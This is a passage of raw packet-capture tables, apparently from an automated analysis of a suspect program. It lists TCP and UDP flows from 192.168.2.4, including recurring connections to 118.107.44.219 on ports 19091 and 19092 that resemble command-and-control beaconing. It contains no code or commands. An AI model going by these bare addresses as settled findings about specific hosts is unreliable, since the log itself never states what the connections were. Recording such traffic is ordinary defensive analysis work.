Dec 30, 2024 05:00:07.006737947 CET	443	50045	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:07.007129908 CET	50045	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:08.281543970 CET	49785	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:00:08.286293983 CET	19091	49785	118.107.44.219	192.168.2.4
Dec 30, 2024 05:00:08.580519915 CET	19091	49785	118.107.44.219	192.168.2.4
Dec 30, 2024 05:00:08.625236034 CET	49785	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:00:08.790472984 CET	49785	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:00:08.795264959 CET	19091	49785	118.107.44.219	192.168.2.4
Dec 30, 2024 05:00:15.599848032 CET	50045	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:15.599864006 CET	443	50045	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:15.600060940 CET	50047	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:15.600070000 CET	443	50047	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:15.600311041 CET	50047	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:15.600315094 CET	443	50047	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:15.600632906 CET	50046	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:15.600658894 CET	443	50046	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:15.600687027 CET	50048	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:15.600718021 CET	443	50048	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:15.600863934 CET	50046	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:15.600871086 CET	443	50046	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:15.600967884 CET	50048	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:15.600970984 CET	50045	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:15.600972891 CET	443	50048	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:15.600975037 CET	443	50045	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:15.930350065 CET	443	50048	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:15.930413008 CET	50048	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:15.930432081 CET	443	50048	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:15.930471897 CET	50048	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:15.931235075 CET	443	50048	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:15.931260109 CET	443	50048	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:15.931273937 CET	50048	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:15.931297064 CET	50048	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:16.014422894 CET	443	50047	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:16.014473915 CET	443	50047	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:16.014554024 CET	50047	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:16.014573097 CET	443	50047	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:16.014585972 CET	443	50047	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:16.014620066 CET	50047	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:16.015743971 CET	443	50045	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:16.015779972 CET	443	50045	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:16.015825987 CET	50045	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:16.015831947 CET	443	50045	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:16.015862942 CET	443	50045	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:16.015880108 CET	50045	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:16.015903950 CET	50045	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:16.069242954 CET	443	50046	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:16.069322109 CET	443	50046	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:16.069413900 CET	50046	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:28.548301935 CET	49785	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:00:28.553082943 CET	19091	49785	118.107.44.219	192.168.2.4
Dec 30, 2024 05:00:28.842988968 CET	19091	49785	118.107.44.219	192.168.2.4
Dec 30, 2024 05:00:28.984679937 CET	49785	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:00:29.005835056 CET	49785	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:00:29.010626078 CET	19091	49785	118.107.44.219	192.168.2.4
Dec 30, 2024 05:00:29.435635090 CET	49743	80	192.168.2.4	69.42.215.252
Dec 30, 2024 05:00:29.438714027 CET	50045	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:29.438862085 CET	50046	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:29.438909054 CET	50047	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:29.438914061 CET	50048	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:45.595613956 CET	49785	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:00:45.595668077 CET	49785	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:00:45.600513935 CET	19091	49785	118.107.44.219	192.168.2.4
Dec 30, 2024 05:00:45.603331089 CET	49785	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:00:47.532764912 CET	50263	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:00:47.537647963 CET	19092	50263	118.107.44.219	192.168.2.4
Dec 30, 2024 05:00:47.539118052 CET	50263	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:00:51.142138004 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 05:00:51.142168045 CET	49793	80	192.168.2.4	180.163.251.230
Dec 30, 2024 05:00:51.578552961 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 05:00:51.579349041 CET	49793	80	192.168.2.4	180.163.251.230
Dec 30, 2024 05:00:52.281656981 CET	49793	80	192.168.2.4	180.163.251.230
Dec 30, 2024 05:00:52.281656981 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 05:00:53.509345055 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 05:00:53.509351015 CET	49793	80	192.168.2.4	180.163.251.230
Dec 30, 2024 05:00:55.984791040 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 05:00:55.984814882 CET	49793	80	192.168.2.4	180.163.251.230
Dec 30, 2024 05:00:56.691174030 CET	50263	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:00:56.696099997 CET	19092	50263	118.107.44.219	192.168.2.4
Dec 30, 2024 05:00:56.696113110 CET	19092	50263	118.107.44.219	192.168.2.4
Dec 30, 2024 05:00:56.696120977 CET	19092	50263	118.107.44.219	192.168.2.4
Dec 30, 2024 05:00:56.696247101 CET	19092	50263	118.107.44.219	192.168.2.4
Dec 30, 2024 05:00:57.196049929 CET	19092	50263	118.107.44.219	192.168.2.4
Dec 30, 2024 05:00:57.197431087 CET	50263	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:00:57.202229977 CET	19092	50263	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:00.984839916 CET	49793	80	192.168.2.4	180.163.251.230
Dec 30, 2024 05:01:00.984849930 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 05:01:07.329370022 CET	50263	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:01:07.329571009 CET	50263	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:01:07.334254980 CET	19092	50263	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:07.334362030 CET	50263	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:01:09.279342890 CET	50264	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:01:09.284303904 CET	19091	50264	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:09.284382105 CET	50264	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:01:10.672369957 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 05:01:10.672374964 CET	49793	80	192.168.2.4	180.163.251.230
Dec 30, 2024 05:01:18.643640995 CET	50264	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:01:18.648655891 CET	19091	50264	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:18.648670912 CET	19091	50264	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:18.648679972 CET	19091	50264	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:18.648803949 CET	19091	50264	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:19.157906055 CET	19091	50264	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:19.158224106 CET	50264	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:01:19.163088083 CET	19091	50264	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:28.204806089 CET	50264	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:01:28.209666967 CET	19091	50264	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:28.505079985 CET	19091	50264	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:28.650506973 CET	50264	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:01:28.655502081 CET	19091	50264	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:45.453959942 CET	50264	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:01:45.454185009 CET	50264	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:01:45.458791018 CET	19091	50264	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:45.459420919 CET	50264	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 05:01:47.391613007 CET	50265	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:01:47.396564960 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:47.396737099 CET	50265	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:01:55.298875093 CET	50265	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:01:55.303921938 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:55.303936005 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:55.303944111 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:55.303962946 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:55.870677948 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:01:55.870927095 CET	50265	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:01:55.875766993 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:02:04.625868082 CET	50265	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:02:04.630846977 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:02:04.926230907 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:02:05.001327991 CET	50265	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:02:05.213848114 CET	50265	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:02:05.218749046 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:02:22.016407967 CET	50265	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:02:22.021368027 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:02:22.316890001 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:02:22.406981945 CET	50265	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:02:22.497392893 CET	50265	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:02:22.502166986 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:02:37.813364983 CET	50265	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:02:37.819264889 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:02:38.114826918 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:02:38.205434084 CET	50265	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:02:38.313431978 CET	50265	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:02:38.318240881 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:02:54.328175068 CET	50265	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:02:54.333163023 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:02:54.628793001 CET	19092	50265	118.107.44.219	192.168.2.4
Dec 30, 2024 05:02:54.704063892 CET	50265	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:02:54.791477919 CET	50265	19092	192.168.2.4	118.107.44.219
Dec 30, 2024 05:02:54.796331882 CET	19092	50265	118.107.44.219	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 04:59:01.780667067 CET	54074	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:01.970598936 CET	53	54074	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:07.037955999 CET	62747	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:07.044559956 CET	53	62747	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:07.911679983 CET	50252	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:08.038033962 CET	53	50252	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:08.041115046 CET	65395	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:08.050077915 CET	53	65395	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:08.135755062 CET	59526	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:08.142846107 CET	53	59526	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:12.693552017 CET	52227	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:12.700465918 CET	53	52227	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:13.233557940 CET	55672	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:13.240827084 CET	53	55672	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:13.243558884 CET	28470	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:13.243597031 CET	28471	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:13.243629932 CET	28471	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:13.329173088 CET	28470	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:13.329194069 CET	28471	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:13.329207897 CET	28471	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:13.331015110 CET	51196	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:13.332196951 CET	59809	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:13.338097095 CET	53	51196	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:13.342242002 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 04:59:13.545320034 CET	53	59809	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:13.550556898 CET	28470	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:13.550626993 CET	28471	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:13.550648928 CET	28471	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:13.766165972 CET	28470	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:13.766196966 CET	28471	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:13.766230106 CET	28471	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:13.987543106 CET	28470	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:13.987581015 CET	28471	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:13.987596035 CET	28471	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:14.203480959 CET	28470	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:14.203531981 CET	28471	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:14.203531981 CET	28471	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:14.349760056 CET	57956	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:14.357651949 CET	53	57956	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:14.423329115 CET	28470	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:14.423377037 CET	28471	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:14.423398972 CET	28471	3478	192.168.2.4	1.192.136.170
Dec 30, 2024 04:59:17.375365973 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 04:59:17.651715994 CET	53188	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:17.653306961 CET	56201	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:17.958836079 CET	53	53188	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:18.351447105 CET	53	56201	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:18.876960993 CET	50966	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:18.883945942 CET	53	50966	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:24.563920975 CET	65255	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:24.571327925 CET	53	65255	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:25.469080925 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 04:59:31.360856056 CET	52586	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:31.367862940 CET	53	52586	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:35.892323971 CET	55489	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:35.899194956 CET	53	55489	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:41.547276974 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 04:59:41.564086914 CET	59114	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:41.570924044 CET	53	59114	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:48.361255884 CET	50806	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:48.368267059 CET	53	50806	1.1.1.1	192.168.2.4
Dec 30, 2024 04:59:52.942694902 CET	51653	53	192.168.2.4	1.1.1.1
Dec 30, 2024 04:59:52.950088978 CET	53	51653	1.1.1.1	192.168.2.4
Dec 30, 2024 05:00:04.844310999 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:06.395620108 CET	65028	53	192.168.2.4	1.1.1.1
Dec 30, 2024 05:00:06.404266119 CET	53	65028	1.1.1.1	192.168.2.4
Dec 30, 2024 05:00:18.188107967 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:21.031910896 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:21.141344070 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:21.250451088 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:00:21.363451958 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:21.472424984 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:21.604806900 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:21.705646992 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:00:21.807642937 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:00:21.986015081 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:00:22.074594975 CET	80	10004	1.192.136.132	192.168.2.4
Dec 30, 2024 05:00:22.672445059 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:22.782171965 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:22.891092062 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:23.000583887 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:00:23.038311005 CET	80	10004	1.192.136.132	192.168.2.4
Dec 30, 2024 05:00:23.108567953 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:00:23.109864950 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:23.219563007 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:23.328702927 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:23.438050985 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:00:23.443321943 CET	80	10004	1.192.136.132	192.168.2.4
Dec 30, 2024 05:00:23.547451973 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:23.551148891 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:00:23.657161951 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:23.766170025 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:23.875596046 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:00:23.891807079 CET	80	10004	1.192.136.132	192.168.2.4
Dec 30, 2024 05:00:23.992732048 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:00:24.043504000 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:24.095017910 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:24.203515053 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:24.317001104 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:00:24.373792887 CET	80	10004	1.192.136.132	192.168.2.4
Dec 30, 2024 05:00:24.416003942 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:00:24.422566891 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:24.532380104 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:24.654472113 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:24.770729065 CET	80	10004	1.192.136.132	192.168.2.4
Dec 30, 2024 05:00:24.853574038 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:00:25.081974030 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:25.389641047 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:25.625391960 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:00:25.734826088 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:25.844551086 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:25.953563929 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:26.062908888 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:00:26.124650955 CET	80	10004	1.192.136.132	192.168.2.4
Dec 30, 2024 05:00:26.172805071 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:26.174119949 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:00:26.281661034 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:26.392266035 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:26.507997036 CET	80	10004	1.192.136.132	192.168.2.4
Dec 30, 2024 05:00:26.508833885 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:00:26.610054016 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:26.720351934 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:26.829020023 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:26.939482927 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:00:26.939927101 CET	80	10004	1.192.136.132	192.168.2.4
Dec 30, 2024 05:00:27.047188044 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:00:27.047585011 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:27.159519911 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:27.267035007 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:27.376305103 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:00:27.417602062 CET	80	10004	1.192.136.132	192.168.2.4
Dec 30, 2024 05:00:27.481281042 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:00:27.489121914 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:27.596013069 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:27.704582930 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:27.829871893 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:00:27.917885065 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:00:27.936239004 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:28.591722012 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:28.688045025 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:28.797488928 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:00:31.097842932 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:33.501004934 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:36.125596046 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:00:38.535388947 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:40.938529968 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:43.126885891 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:43.458865881 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:00:43.577306986 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:45.650002003 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:48.266361952 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:48.623589039 CET	80	10004	1.192.136.132	192.168.2.4
Dec 30, 2024 05:00:48.772195101 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:49.102538109 CET	80	10004	1.192.136.132	192.168.2.4
Dec 30, 2024 05:00:49.359966040 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:49.681196928 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:00:49.687998056 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:50.018275976 CET	80	10004	1.192.136.132	192.168.2.4
Dec 30, 2024 05:00:50.125623941 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:50.470223904 CET	80	10004	1.192.136.132	192.168.2.4
Dec 30, 2024 05:00:50.563026905 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:52.859961987 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:53.195503950 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:00:53.297884941 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:00:53.618940115 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:00:53.625582933 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:53.955815077 CET	80	10004	1.192.136.132	192.168.2.4
Dec 30, 2024 05:00:53.965677977 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:00:57.125843048 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:00:59.750763893 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:01:02.813150883 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:01:05.984992027 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:01:06.325289965 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:01:06.860398054 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:01:09.703912020 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:01:12.000921011 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:01:14.081176043 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:01:16.594532013 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:01:19.767782927 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:01:22.173166037 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:01:24.579376936 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:01:24.901624918 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:01:24.907249928 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:01:27.422727108 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:01:29.727037907 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:01:32.016411066 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:01:34.094774008 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:01:36.391892910 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:01:39.016311884 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:01:39.344160080 CET	80	10004	1.192.136.135	192.168.2.4
